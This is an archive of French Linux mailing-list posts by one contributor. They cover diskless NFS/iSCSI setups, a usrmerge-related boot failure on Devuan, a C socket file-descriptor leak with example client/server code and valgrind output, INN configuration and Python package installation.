Le NFSv3 n'a pas de cache et travaille en TCP (j'ai essayé UDP, ce
n'est pas franchement mieux). Il est possible de monter les disques en
async, mais je déconseille (côté NetBSD, il vaut mieux ne pas utiliser
async et la journalisation en même temps). Avec l'option async, ça va
nettement plus vite, mais on risque des surprises en cas de coupure de
courant.

Quand il y a des tas de petites écritures, le goulot d'étranglement est
l'accès disque surtout en écriture (là, il vaut mieux des disques CMR
que SMR) parce que le système ne peut pas cacher efficacement ces petits
accès. On s'aperçoit que le paquet ACK met un peu plus de temps à
revenir au client. Ça suffit pour faire tomber les performances.

Sur des lectures, j'atteins sans peine 800 à 900 Mbps. Sur des écriture
de quelques gros fichiers, ça monte à 500 Mbps. Si ce sont des petits
fichiers en écriture, les performances sont ridicules. Un apt install
texlive-full prend des plombes. Attention, je n'attends ces débits
qu'avec des cartes réseau Intel. Les Realtek sont largement moins bonnes
(bon, ça reste utilisable tout de même).

À côté, iSCSI permet d'atteindre 1 Gbps sur le swap.

> PS: j'ai travaillé dans la VoIP, où j'ai -finalement- compris que
> latence et débit n'ont rien à voir. Sans même parler de jitter (la
> variation de latence en bon céfran).

Ben oui, ça n'a rien à voir. Mais le gros problème est d'avoir le
paquet ACK du TCP le plus vite possible. Et ça, ça passe par un cache
côté serveur capable d'accepter les transactions le plus rapidement
possible en résistant aux coupures de courant. C'est pour cela qu'il
faudrait que je teste un ZFS avec un cache sur un SSD sacrificiel.

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: utilisation de nis et nfs pour un réseau de 32 postes

2024-02-24 Par sujet BERTRAND Joël
Basile Starynkevitch a écrit :
> 
> On 2/23/24 12:02, Erwann Le Bras wrote:
>>
>> Bonjour
>>
>> Peut-être faire des essais avec SSHFS? le $HOME des utilisateurs
>> serait monté sur chaque client au boot.
>>
>> Mais je ne sais pas si c'est plus efficace que NFS.
>>
> 
> J'aurais tendance à imaginer que c'est moins efficace que NFS, qui est
> de toute façon lent (car Ethernet est beaucoup plus lent que par exemple
> une liaison SATA à un disque local, même rotatif).
> 
> NFS (à l'époque lointaine où je l'avais utilisé) ne crypte pas les
> données. SSHFS semble les crypter.
> 
> Autrefois (avant 2000) j'avais même utilisé des Sun4/110 dont le swap
> était une partition NFS distante.
> 
> Librement
> 

Bonsoir,

J'ai un réseau complet et hétérogène avec NIS+NFS.

Un gros serveur sous NetBSD et toutes les stations sont diskless et
bootent sur le réseau. Les disques sont en NFS et les swaps en iSCSI.
Ça fonctionne parfaitement bien (ça rame lorsqu'il y a de toutes petites
écritures en rafale en raison du protocole réseau TCP, mais l'immense
majorité du temps, ça fonctionne bien).

Le serveur est relié à un switch Cisco au travers de deux liens
ethernet aggrégés, le reste est en 1 Gbps classique. La qualité du
switch est primordiale. Passer d'un TPLink à un Cisco m'a changé la vie.

Le goulot d'étranglement n'est pas le réseau, mais le système de
fichier sur les disques exportés. J'ai fait la bêtise d'utiliser FFSv2
sur lequel il n'est pas possible de mettre un cache. Lorsque j'aurai le
temps, je remplacerai cela par un ZFS+cache.

NFS à partir de la version 4 chiffre les données (mais n'est pas
interopérable pour l'instant avec NetBSD, donc je n'ai pas testé).

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-08 Par sujet BERTRAND Joël
C'est bien le fait de ne pas avoir usrmerge qui est le fautif parce que
les scripts d'installation ne contiennent plus le PATH canonique !

Je ne dirais pas ce que je pense.



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-08 Par sujet BERTRAND Joël
Michel Verdier a écrit :
> Le 8 janvier 2024 BERTRAND Joël a écrit :
> 
>>  J'ai déjà trouvé par le passé mount.nfs qui n'est plus dans /sbin mais
>> dans /usr/sbin (contrairement à ce qu'indique la page man).
> [...]
>>  Que les devs de Debian forcent l'utilisation d'usrmerge sur Debian,
>> pourquoi pas. Mais pourquoi vouloir tout faire pour forcer l'utilisation
>> de cette horreur sur les distributions dérivées ?
> 
> usrmerge fait un lien symbolique de /bin -> /usr/bin et /sbin ->
> /usr/sbin. Le déplacement de mount.nfs est indépendant, mais doit passer
> inaperçu si on a usrmerge. Si tu as déjà pris le déplacement en compte
> avant l'upgrade il doit s'agir d'autre chose.

J'ai un tas d'erreurs dans les scripts d'initialisation parce que le
PATH par défaut est /sbin:/bin et non plus /sbin:/bin:/usr/sbin:/usr/bin
(ça ne coûtait vraiment rien de le conserver). Là, je fais une archive
du système côté serveur avant de passer un coup d'usrmerge. Si c'est
bien le problème, je réinstalle un système qui sait faire la différence
entre / et /usr.

HS:

Sur cette machine, usrmerge ou pas n'est pas critique, mais je ne veux
pas multiplier les systèmes entre mes machines fixes et les embarquées
qui sont souvent à l'autre bout de la France et physiquement
difficilement accessibles. Il serait d'ailleurs intéressant que les gens
qui poussent ces "nouveautés" aient conscience de ce qui se fait
ailleurs que sur les machines de bureau ou les serveurs embarquant des
To de disques et de Go de mémoire. Dans l'embarqué, on aime bien avoir
un / en ro et par exemple un /usr en ubifs rw sur une émulation de
memory device. C'est ce que je fais sur des rPI lorsque le client impose
cette architecture. Ça permet d'éviter de cramer des sdcard tous les six
mois. Avec un usrmerge, c'est quasiment impossible sauf à bricoler avec
des ramdisks vraiment tordus à l'initialisation. Alors oui, ça se fait,
mais beaucoup plus difficilement qu'avant.

Autre problème, cette joyeuseté complique aussi les mises à jour des
équipements. Lorsqu'on a un / et un /usr sur des partitions séparées,
qu'on a fait entrer le tout aux forceps dans une eMMC, on ne peut pas
forcément copier tout /bin et /sbin vers /usr/bin et /usr/sbin faute de
place. Il n'est pas rare dans l'embarqué d'avoir des eMMC de 16 ou 32
Go. Et lorsqu'on doit avoir des données variables, on les colle dans un
/var séparé. On est donc relativement à l'étroit.

J'ai bien conscience que c'est un cas marginal, mais c'est un cas qui
me pourrit l'existence depuis des mois, d'où mon petit coup de gueule
parce que j'ai de plus en plus l'impression que les développements
récents des distribution Linux laissent tomber tout ce qui n'a pas 1 To
de disque et au moins 4 Go de mémoire. Les gueux de l'embarqué,
démerdez-vous.



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-07 Par sujet BERTRAND Joël
Bon.

J'ai un début de piste et ça commence à être gavant.

J'ai déjà trouvé par le passé mount.nfs qui n'est plus dans /sbin mais
dans /usr/sbin (contrairement à ce qu'indique la page man).

Là, on se retrouve avec des PATH dans des scripts de démarrage qui ne
contiennent plus que /sbin:/bin. J'ai un tas d'erreurs au démarrage
(erreurs naturellement non logguées et qui n'apparaissent que sur la
console, même pas dans le dmesg). Je suppose que la génération de
l'initramfs est foireuse même si elle ne retourne aucune erreur.

Il y a des distributions basées sur debian qui n'utilisent ni systemd
ni (encore et heureusement) l'horreur usrmerge. Qu'est-ce qui empêche
les développeurs de Debian de coller mount.nfs dans /sbin et de
conserver les paths classiques (sauf à vouloir imposer à toutes les
distributions dérivées l'utilisation d'usrmerge) ? Il y a des tas de
raisons pour ne pas en vouloir, à commencer par la gestion des
partitions en ro de systèmes embarqués. Tout le monde ne veut pas un
gros /usr en rw, surtout sur des machines sans console et inaccessibles
physiquement !

Que les devs de Debian forcent l'utilisation d'usrmerge sur Debian,
pourquoi pas. Mais pourquoi vouloir tout faire pour forcer l'utilisation
de cette horreur sur les distributions dérivées ?

Merci de ne pas répondre en essayant de me convaincre de l'intérêt de
cette "chose". J'ai bien réfléchi, je la trouve merdique au possible
pour mes applications, je n'en veux pas. Si elle se trouve imposée, je
changerai plutôt d'OS.

JB



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-07 Par sujet BERTRAND Joël
ajh-valmer a écrit :
> On Sunday 07 January 2024 19:47:19 BERTRAND Joël wrote:
>> ... apt dist-upgrade (qui s'est achevé sans erreur).
>> Aujourd'hui, je rallume la machine en question et je n'ai plus de
>> session graphique ... :
> 
> Sans doute, suite à l'upgrade, le nouveau noyau de Devuan
> ne reconnaît plus le module de la carte graphique.
> Il faut essayer de booter avec un ancien noyau,
> sinon de trouver un pilote vidéo adaptable.

J'ai l'impression que dans l'upgrade, l'ancien noyau a été retiré. J'ai
essayé avec un vmlinuz-6.5.0-5-amd64 et un vmlinuz-6.5.0-3-amd64. Même
motif, même résultat. Ce qui me fait tiquer est que je n'ai pas autre
chose que la console 80x25 (même en mode texte).

Bien cordialement,

JB



signature.asc
Description: OpenPGP digital signature


Re: Plus de framebuffer/X

2024-01-07 Par sujet BERTRAND Joël
Michel Verdier a écrit :
> Le 7 janvier 2024 BERTRAND Joël a écrit :
> 
>>  Hier, j'ai du configurer ce qu'il fallait pour pouvoir accéder à des
>> bluerays. Très bien, ça fonctionnait. Mais pour cela, j'ai du passer un
>> apt dist-upgrade (qui s'est achevé sans erreur).
> 
> As-tu fais update et upgrade --without-new-pkgs comme préconisé ici :
> https://www.debian.org/releases/stable/i386/release-notes/ch-upgrading.fr.html#upgradingpackages
> 
>> 2024-01-07T19:27:37.012530+01:00 heisenberg kernel: Kernel command line:
>> BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg root=/dev/nfs
>> initrd=pxelinux.cfg/initrd.img-heisenberg
>> nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp rw splash
>> intel_iommu=on,igfx_off
>>
>> 2024-01-07T19:27:37.012533+01:00 heisenberg kernel: Unknown kernel
>> command line parameters "splash
>> BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg
>> nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp", will be passed to user
>> space.
> 
> C'est juste un warning qui indique que les paramètres sont passés à la
> suite. As-tu refais le kernel et le initrd qui sont utiisés ?

Oui. J'ai vérifié par deux fois.

> Quelle est ta version de kernel ? Quelle est ta carte graphique ?


root@heisenberg:/var/log# uname -a
Linux heisenberg 6.5.0-3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.8-1
(2023-10-22) x86_64 GNU/Linux

La carte graphique est une intel intégrée au CPU :
Intel(R) Core(TM) i5-4570S CPU @ 2.90GHz

JB



signature.asc
Description: OpenPGP digital signature


Plus de framebuffer/X

2024-01-07 Par sujet BERTRAND Joël
Bonjour à tous et bonne année.

Il m'arrive un truc étonnant sur une machine qui me sert de serveur
multimedia. Cette machine est diskless et fonctionnait parfaitement
jusqu'à hier (pas noté la version du noyau). Ce n'est pas une Debian,
c'est une Devuan, mais les paquets et la configuration sont identique en
dehors du système d'initialisation.

Hier, j'ai du configurer ce qu'il fallait pour pouvoir accéder à des
bluerays. Très bien, ça fonctionnait. Mais pour cela, j'ai du passer un
apt dist-upgrade (qui s'est achevé sans erreur).

Aujourd'hui, je rallume la machine en question et je n'ai plus de
session graphique. De la même manière, la console reste en 80x25 (avant,
j'avais une console graphique avec des tous petits caractères, l'écran
est un truc en 2560x1440. Si je lance sddm à la main, il ne se passe
rien (le processus tourne, aucune erreur dans les logs de sddm).

kern.log indique plusieurs choses étranges (je ne sais pas si le noyau
indiquait la même chose dans la configuration fonctionnelle) :

2024-01-07T19:27:37.012530+01:00 heisenberg kernel: Kernel command line:
BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg root=/dev/nfs
initrd=pxelinux.cfg/initrd.img-heisenberg
nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp rw splash
intel_iommu=on,igfx_off

2024-01-07T19:27:37.012533+01:00 heisenberg kernel: Unknown kernel
command line parameters "splash
BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg
nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp", will be passed to user
space.

Effectivement, splash ne fonctionne plus non plus.

Mais j'ai aussi ceci :

root@heisenberg:/var/log# grep conflict kern.log
2024-01-07T18:05:19.599573+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1828-0x182F conflicts with
OpRegion 0x1800-0x187F (\PMIO)
(20230331/utaddress-204)
2024-01-07T18:05:19.599573+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:05:19.599577+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C40-0x1C4F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:05:19.599578+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:05:19.599578+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C30-0x1C3F conflicts with
OpRegion 0x1C00-0x1C3F (\GPRL)
(20230331/utaddress-204)
2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C30-0x1C3F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C00-0x1C2F conflicts with
OpRegion 0x1C00-0x1C3F (\GPRL)
(20230331/utaddress-204)
2024-01-07T18:05:19.599582+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C00-0x1C2F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:05:19.599583+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:05:19.599583+01:00 heisenberg kernel: lpc_ich: Resource
conflict(s) found affecting gpio_ich
2024-01-07T18:11:36.030703+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1828-0x182F conflicts with
OpRegion 0x1800-0x187F (\PMIO)
(20230331/utaddress-204)
2024-01-07T18:11:36.030703+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:11:36.030708+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C40-0x1C4F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:11:36.030708+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:11:36.030709+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C30-0x1C3F conflicts with
OpRegion 0x1C00-0x1C3F (\GPRL)
(20230331/utaddress-204)
2024-01-07T18:11:36.030709+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C30-0x1C3F conflicts with
OpRegion 0x1C00-0x1FFF (\GPR)
(20230331/utaddress-204)
2024-01-07T18:11:36.030710+01:00 heisenberg kernel: ACPI: OSL: Resource
conflict; ACPI support missing from driver?
2024-01-07T18:11:36.030710+01:00 heisenberg kernel: ACPI Warning:
SystemIO range 0x1C00-0x1C2F conflicts with
OpRegion 0x1C00-0x1C3F (\GPRL)
(20230331/utaddress-204)
2024-01-07T18:11:36.030713+01:00 heisenberg kernel: ACP

Re: [Un peu HS] Truc bizarre avec des sockets Linux

2023-11-24 Par sujet BERTRAND Joël
Bon, trouvé.

Dans tcpServer.c, il faut remonter d'une ligne close(newSocket).

Désolé pour le bruit.



signature.asc
Description: OpenPGP digital signature


Re: [Un peu HS] Truc bizarre avec des sockets Linux

2023-11-23 Par sujet BERTRAND Joël
Désolé, j'ai oublié le code serveur.

JB
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PORT 

int main(){

	int sockfd, ret;
	 struct sockaddr_in serverAddr;

	int newSocket;
	struct sockaddr_in newAddr;

	socklen_t addr_size;

	char buffer[1024];
	pid_t childpid;

	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if(sockfd < 0){
		printf("[-]Error in connection.\n");
		exit(1);
	}
	printf("[+]Server Socket is created.\n");

	memset(&serverAddr, '\0', sizeof(serverAddr));
	serverAddr.sin_family = AF_INET;
	serverAddr.sin_port = htons(PORT);
	serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

	ret = bind(sockfd, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
	if(ret < 0){
		printf("[-]Error in binding.\n");
		exit(1);
	}
	printf("[+]Bind to port %d\n", );

	if(listen(sockfd, 10) == 0){
		printf("[+]Listening\n");
	}else{
		printf("[-]Error in binding.\n");
	}


	while(1){
		newSocket = accept(sockfd, (struct sockaddr*)&newAddr, &addr_size);
		if(newSocket < 0){
			exit(1);
		}
		printf("accept(%d, %d)\n", sockfd, newSocket);
		printf("Connection accepted from %s:%d\n", inet_ntoa(newAddr.sin_addr), ntohs(newAddr.sin_port));

		if((childpid = fork()) == 0){
			close(sockfd);

			while(1){
recv(newSocket, buffer, 1024, 0);
if(strcmp(buffer, ":exit") == 0){
	printf("Disconnected from %s:%d\n", inet_ntoa(newAddr.sin_addr), ntohs(newAddr.sin_port));
	printf("shutdown: %d\n", shutdown(newSocket, SHUT_RDWR));
	printf("close: %d\n", close(newSocket));
	break;
}else{
	printf("Client: %s\n", buffer);
	send(newSocket, buffer, strlen(buffer), 0);
	bzero(buffer, sizeof(buffer));
}
			}
		}

	}

	close(newSocket);


	return 0;
}


signature.asc
Description: OpenPGP digital signature


Re: [Un peu HS] Truc bizarre avec des sockets Linux

2023-11-23 Par sujet BERTRAND Joël
Je viens de reproduire la chose avec deux bouts de programmes écrits en
C (voir les deux pièces jointes).

hilbert:[~/rpl-test] > ./server
[+]Server Socket is created.
[+]Bind to port 
[+]Listening
accept(3, 4)
Connection accepted from 127.0.0.1:43388
Client: aze
Disconnected from 127.0.0.1:43388
shutdown: 0
close: 0
accept(3, 6)
Connection accepted from 127.0.0.1:49504
Client: aze
Disconnected from 127.0.0.1:49504
shutdown: 0
close: 0

hilbert:[~/rpl-test] > ./client
[+]Client Socket is created.
[+]Connected to Server.
Client: aze
Server: aze
Client: :exit
[-]Disconnected from server.
hilbert:[~/rpl-test] > ./client
[+]Client Socket is created.
[+]Connected to Server.
Client: aze
Server: aze
Client: :exit
[-]Disconnected from server.

Un coup de valgrind montre exactement la même chose lorsque le
processus serveur racine est tué par un SIGINT :

==10415== Process terminating with default action of signal 2 (SIGINT)
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== FILE DESCRIPTORS: 7 open (3 std) at exit.
==10415== Open AF_INET socket 6: 127.0.0.1: <-> 127.0.0.1:57256
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== Open AF_INET socket 4: 127.0.0.1: <-> 127.0.0.1:46402
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== Open AF_INET socket 3: 127.0.0.1: <-> unbound
==10415==at 0x49A0BA7: socket (syscall-template.S:120)
==10415==by 0x109141: main (tcpServer.c:25)
==10415==
==10415== Open file descriptor 5:
==10415==

Les sockets créées par accept() [ici fd=4 et fd=6] restent ouvertes dans
le processus racine du serveur et au bout d'un certain nombre de
connexions (dépendant de la valeur max open files), accept() retourne
une erreur.

À noter : la socket est bien fermée dans le processus créé par fork()
[shutdown + close] et est fermée dans le client.

Merci de vos lumières,

JB
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define PORT 

int main(){

	int clientSocket, ret;
	struct sockaddr_in serverAddr;
	char buffer[1024];

	clientSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(clientSocket < 0){
		printf("[-]Error in connection.\n");
		exit(1);
	}
	printf("[+]Client Socket is created.\n");

	memset(&serverAddr, '\0', sizeof(serverAddr));
	serverAddr.sin_family = AF_INET;
	serverAddr.sin_port = htons(PORT);
	serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

	ret = connect(clientSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
	if(ret < 0){
		printf("[-]Error in connection.\n");
		exit(1);
	}
	printf("[+]Connected to Server.\n");

	while(1){
		printf("Client: \t");
		scanf("%s", &buffer[0]);
		send(clientSocket, buffer, strlen(buffer), 0);

		if(strcmp(buffer, ":exit") == 0){
			printf("shutdown: %d\n", shutdown(clientSocket, SHUT_RDWR));
			printf("close: %d\n", close(clientSocket));
			printf("[-]Disconnected from server.\n");
			exit(1);
		}

		if(recv(clientSocket, buffer, 1024, 0) < 0){
			printf("[-]Error in receiving data.\n");
		}else{
			printf("Server: \t%s\n", buffer);
		}
	}

	return 0;
}


signature.asc
Description: OpenPGP digital signature


[Un peu HS] Truc bizarre avec des sockets Linux

2023-11-23 Par sujet BERTRAND Joël
Bonjour à tous,

Je développe le logiciel suivant http://www.rpl2.fr et un utilisateur
du bout du monde vient de me remonter un bug bizarre sur la gestion des
sockets réseau TCP. Je viens de passer la journée dessus et je ne
comprends pas.

Je précise que la fonction a été méchamment testée et qu'il me semble
qu'elle fonctionnait parfaitement lorsqu'elle a été publiée il y a de
cela plusieurs années.

La séquence de commandes C effectuée est la suivante :
- création d'une socket avec socket() et bind() ;
- attente d'une connexion entrante avec accept() ;
- fork() et traitement du client dans le processus fils (y compris la
libération de la socket créée par accept()).

C'est ni plus ni moins que ceci (fonction serve_forever()):
https://gist.github.com/laobubu/d6d0e9beb934b60b2e552c2d03e1409e#file-httpd-c

Dans le langage en question, ça se traduit comme ceci :

SERVEUR
<<
// Création d'une socket TCP écoutant
// sur le port 87 avec un maximum de 16
// sockets clientes.

{
"local" "stream" "flow"
{ "protocol" "ipv4" }
{ "listen" 16 }
{ "port" 87 }
{ "option" "reuse address" }
} open

// Format binaire
{ "length*(*)" } swap format
-> SOCKET
<<
do
   // On attend une connexion
SOCKET wfsock

// Si connexion, on lance un
// traitement dans un processus
// fils.
'CIRCUIT_CONNECTE' detach
// On efface le PID de la pile
drop
// On efface les deux sockets de la pile
drop2
until
false
end
 >>
>>

CIRCUIT_CONNECTE
<<
"Socket connectée" disp
   'SOCKET' sto
   'FERMETURE_SOCKET' atexit

   do
  SOCKET "POLLIN" 2 ->list 1 ->list TIMEOUT_CONNEXION poll
  ...
   until
  ...
   end
>>

FERMETURE_SOCKET
<<
SOCKET close
>>

Si je remplace 'detach' (fork()) par 'spawn' (thread_create()), ça
fonctionne parfaitement bien. Ça peut tourner des heures (j'ai laissé le
processus fonctionner durant plusieurs heures, ce qui correspond à
plusieurs centaines de milliers de connexion sur la socket). Avec
'detach', le programme finit par planter faute de descripteur de socket
disponible (trop de fichiers ouverts).

Je viens de passer le code dans valgrind et je ne comprends pas bien :

Root rayleigh:[~/exemple] > valgrind --track-fds=yes ./connecteur.rpl

+++RPL/2 (R) version 4.1.35 (Jeudi 23/11/2023, 16:42:36 CET)
+++Copyright (C) 1989 à 2022, 2023 BERTRAND Joël
...
socket: 7 <- renvoyée par accept() dans WFSOCK (la socket créée par
socket est la 6)
Socket connectée
close 7 <- fermeture de la socket 7 (par un shutdown() puis close())
close 7 OK
...
socket: 9
Socket connectée
close 9
close 9 OK
==20196== FILE DESCRIPTORS: 7 open (3 std) at exit.
==20196== Open AF_INET socket 7: 127.0.0.1:87 <-> unbound
==20196==at 0x546950F: accept (accept.c:26)
==20196==by 0x5C0661: librpl_instruction_wfsock
(instructions_w1-conv.c:3410)
==20196==by 0x4CC36D: librpl_analyse (analyse-conv.c:1076)
==20196==by 0x4D9C58: librpl_evaluation (evaluation-conv.c:764)
==20196==by 0x5CF16D: librpl_sequenceur_optimise
(optimisation-conv.c:399)
==20196==by 0x5D5A46: librpl_rplinit (rpl-conv.c:5198)
==20196==by 0x466F9D: main (init-conv.c:29)
...

Comment se fait-il que la socket soit toujours ouverte dans le père
(elle a été explicitement fermée dans le processus fils) ? Les
ressources système ne sont pas libérées. Pire, chaque socket cliente
reste ouverte pour le système et le processus parent.

Je résous une partie du problème en rajoutant un close de la socket
cliente après un timeout dans le processus serveur (mais ce n'est pas
satisfaisant).

Je constate aussi que si je ferme dans le processus fils la socket
initiale (celle créée par socket()), accept() râle. Le processus fils
peut donc fermer la socket en attente sur accept() mais s'il ferme la
socket() renvoyée par accept(), il ne la ferme que pour lui-même (et pas
pour le processus père).

La question est donc : suis-je passé à côté de quelque chose ?

J'en reviens donc à ce bout de code :
https://gist.github.com/laobubu/d6d0e9beb934b60b2e552c2d03e1409e#file-httpd-c

Sauf erreur de ma part, dans la fonction serve_forever(), je trouve
bien un accept(), mais jamais de close() sur la socket créée par
accept() (plus exactement, je trouve le close dans le processus détaché
par fork()). Comment ce bout de code peut-il fonctionner sans qu'il ne
finisse par planter par un dépassement du nombre de fichiers ouverts ?

Merci de

Re: Configuration inn

2023-10-17 Par sujet BERTRAND Joël
yamo' a écrit :
> BERTRAND Joël a tapoté le 17/10/2023 17:10:
>>  Bonjour à tous,
> 
> Bonjour,
> 
>>
>>  Je tente la configuration d'inn (parce que depuis que le service chez
>> Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est
>> à peine mieux...) et il y a un point que je ne comprends pas bien.
> 
> Les serveurs de free ne fonctionnent plus très bien, le système de feed
> a l'air tout cassé depuis un an mais il y en a d'autres!

C'est bien pour cela que je commence à me renseigner sur la chose.

>>
>>  inn est censé se connecter à d'autres serveurs usenet mais comment les
>> trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce
>> sujet (ou ça m'a échappé, ce qui est possible). De la même manière,
>> comment les autres serveurs usenet vont savoir qu'il y a un serveur inn
>> sur mon infrastructure ? Un genre de p2p ?
> 
> Il faut l'annoncer sur fr.usenet.distribution et news.admin.peering.
> 
> C'est quoi l'adresse de ton serveur et quels groupes veux tu? Je peut
> t'offrir un feed sans binaires.

Je n'ai pas besoin de binaires, j'ai actuellement dans mon slrn
quelques groupes fr.* et quelques anglophones. S'il y en a une
vingtaine, c'est le bout du monde.

> Au fait, la doc française d'INN2 :
> <https://web.archive.org/web/20230901182332/https://git.alphanet.ch/gitweb/?p=inn-install;a=blob_plain;f=README.html;hb=HEAD#particularit%C3%A9s-debian>

Pour l'instant, la configuration d'inn est un projet que je regarde
parce que je vais devoir me passer du fournisseur actuel qui est un peu
aux fraises. Il n'y a pas d'urgence réelle.

Bien cordialement,

JKB



signature.asc
Description: OpenPGP digital signature


Re: Configuration inn

2023-10-17 Par sujet BERTRAND Joël
Erwan David a écrit :
> Le 17/10/2023 à 17:05, BERTRAND Joël a écrit :
>> Bonjour à tous,
>>
>> Je tente la configuration d'inn (parce que depuis que le service chez
>> Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est
>> à peine mieux...) et il y a un point que je ne comprends pas bien.
>>
>> inn est censé se connecter à d'autres serveurs usenet mais comment
>> les
>> trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce
>> sujet (ou ça m'a échappé, ce qui est possible). De la même manière,
>> comment les autres serveurs usenet vont savoir qu'il y a un serveur inn
>> sur mon infrastructure ? Un genre de p2p ?
>>
>> Bien cordialement,
>>
>> JKB
>>
> Il faut que tu trouves des "peers" avec qui tu vas échanger des
> messages, que tu te mettes d'accord avec leurs administrateurs pour ces
> échanges. De mémoire dans inn ça se configure dans le fichier
> innfeed.conf (mais ça fait TRÈS longtemps que je n'ai pas regardé INN)

Je comprends mieux ainsi, c'est ce qui m'avait échappé.

Merci,

JKB



signature.asc
Description: OpenPGP digital signature


Configuration inn

2023-10-17 Par sujet BERTRAND Joël
Bonjour à tous,

Je tente la configuration d'inn (parce que depuis que le service chez
Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est
à peine mieux...) et il y a un point que je ne comprends pas bien.

inn est censé se connecter à d'autres serveurs usenet mais comment les
trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce
sujet (ou ça m'a échappé, ce qui est possible). De la même manière,
comment les autres serveurs usenet vont savoir qu'il y a un serveur inn
sur mon infrastructure ? Un genre de p2p ?

Bien cordialement,

JKB



signature.asc
Description: OpenPGP digital signature


Installation de bibliothèques python

2023-09-28 Par sujet BERTRAND Joël
Bonjour à tous,

J'essaye d'installer une bibliothèque python (et je me souviens
pourquoi je hais ce truc, mais c'est une autre histoire).

La bibliothèque en question est pcbnewTransition qui a un makefile.
Parfait, je sais créer le paquet :

[~] > make package

Je me retrouve dans ./dist avec ce qu'il faut, à savoir un fichier whl
et un tar.gz. Et c'est là que ça coince.

pip3 install dist/*.whl m'insulte et me demande d'utiliser pipx
install. Très bien, je suis joueur :

hilbert:[~/git/pcbnewTransition] > pipx install dist/*.whl

No apps associated with package pcbnewTransition or its dependencies. If
you are attempting to install a library, pipx should not be used.
Consider using pip or a similar tool instead.

C'est moi ou ça se mord la queue ? Je veux juste installer (juste pour
un utilisateur, même pas pour l'ensemble du système, ça me suffirait)
une bibliothèque que j'ai compilée pour pouvoir installer KiKit par la
suite. Comment faire simplement puisque pip3 me dit que je n'ai pas le
droit de procéder et que pipx me renvoit à pip3 ?

Bien cordialement,

JB



Re: [testing] passage du pilote proprio à nouveau

2023-09-14 Par sujet BERTRAND Joël
Gaëtan Perrier a écrit :
> Par exemple le raytracing ne semble pas supporté sur les cartes AMD
> alors qu'il fonctionne sur Nvidia (ainsi que le DLSS) ?

Chez AMD, on trouve le FSR qui semble aussi efficace. Quant au
raytracing, la carte que j'utilise ne doit pas savoir qu'il n'est pas
supporté.

JKB



Re: [testing] passage du pilote nouveau à proprio

2023-09-13 Par sujet BERTRAND Joël
ajh-valmer a écrit :
> Les cartes Nvidia ont une très bonne qualité de rendu à l'écran.
> avec leur pilote, il y a une configuration sophistiquée de la carte,
> permettant d'améliorer le rendu (nvidia-settings).
> Les pilotes libres n'ont pas cet outil de config.
> Seulement, leurs pilotes ne suivent pas toujours les distributions
> et les versions.

Je leur reproche surtout le fait qu'après quelques années de ne plus
être supportées. J'ai des lots de telles cartes et ça m'a toujours dérangé.

Il n'y a aucune raison /valable/ à cela.



Re: [testing] passage du pilote proprio à nouveau

2023-09-13 Par sujet BERTRAND Joël
Gaëtan Perrier a écrit :
> Je suis d'accord sur le fond mais le problème c'est que les cartes
